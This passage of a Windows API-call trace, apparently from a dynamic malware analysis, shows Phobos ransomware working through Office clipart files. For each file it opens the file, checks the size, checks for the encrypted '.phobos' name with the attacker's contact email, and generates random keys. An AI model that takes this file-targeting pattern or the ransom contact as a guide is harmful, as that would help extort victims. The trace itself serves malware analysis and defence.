office\\root\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.245] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43174) returned 1 [0154.245] CloseHandle (hObject=0x58c) returned 1 [0154.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01575_.wmf")) returned 0x220 [0154.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01575_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.246] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.248] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9574) returned 1 [0154.248] CloseHandle (hObject=0x58c) returned 1 [0154.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf")) returned 0x220 [0154.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.249] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27816) returned 1 [0154.249] CloseHandle (hObject=0x58c) returned 1 [0154.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf")) returned 0x220 [0154.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.249] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.250] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4232) returned 1 [0154.250] CloseHandle (hObject=0x58c) returned 1 [0154.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf")) returned 0x220 [0154.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.250] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.251] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1400) returned 1 [0154.251] CloseHandle (hObject=0x58c) returned 1 [0154.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf")) returned 0x220 [0154.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.251] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.252] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12422) returned 1 [0154.252] CloseHandle (hObject=0x58c) returned 1 [0154.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf")) returned 0x220 [0154.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.252] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.254] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7444) returned 1 [0154.254] CloseHandle (hObject=0x58c) returned 1 [0154.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf")) returned 0x220 [0154.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.255] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.259] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7528) returned 1 [0154.259] CloseHandle (hObject=0x58c) returned 1 [0154.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02022_.wmf")) returned 0x220 [0154.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02022_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02022_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.259] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.261] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9128) returned 1 [0154.261] CloseHandle (hObject=0x58c) returned 1 [0154.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02024_.wmf")) returned 0x220 [0154.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02024_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02024_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.262] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.264] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8214) returned 1 [0154.265] CloseHandle (hObject=0x58c) returned 1 [0154.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02025_.wmf")) returned 0x220 [0154.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02025_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02025_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.265] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.267] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9416) returned 1 [0154.267] CloseHandle (hObject=0x58c) returned 1 [0154.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02028_.wmf")) returned 0x220 [0154.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02028_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02028_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.267] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.268] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9836) returned 1 [0154.268] CloseHandle (hObject=0x58c) returned 1 [0154.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02045_.wmf")) returned 0x220 [0154.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02045_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02045_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.269] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.270] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8158) returned 1 [0154.270] CloseHandle (hObject=0x58c) returned 1 [0154.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02048_.wmf")) returned 0x220 [0154.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02048_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02048_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.270] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.271] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11308) returned 1 [0154.271] CloseHandle (hObject=0x58c) returned 1 [0154.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02051_.wmf")) returned 0x220 [0154.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02051_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02051_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.271] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.272] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12490) returned 1 [0154.272] CloseHandle (hObject=0x58c) returned 1 [0154.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02054_.wmf")) returned 0x220 [0154.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02054_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02054_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.273] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.274] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19532) returned 1 [0154.274] CloseHandle (hObject=0x58c) returned 1 [0154.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02055_.wmf")) returned 0x220 [0154.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02055_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02055_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.542] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14378) returned 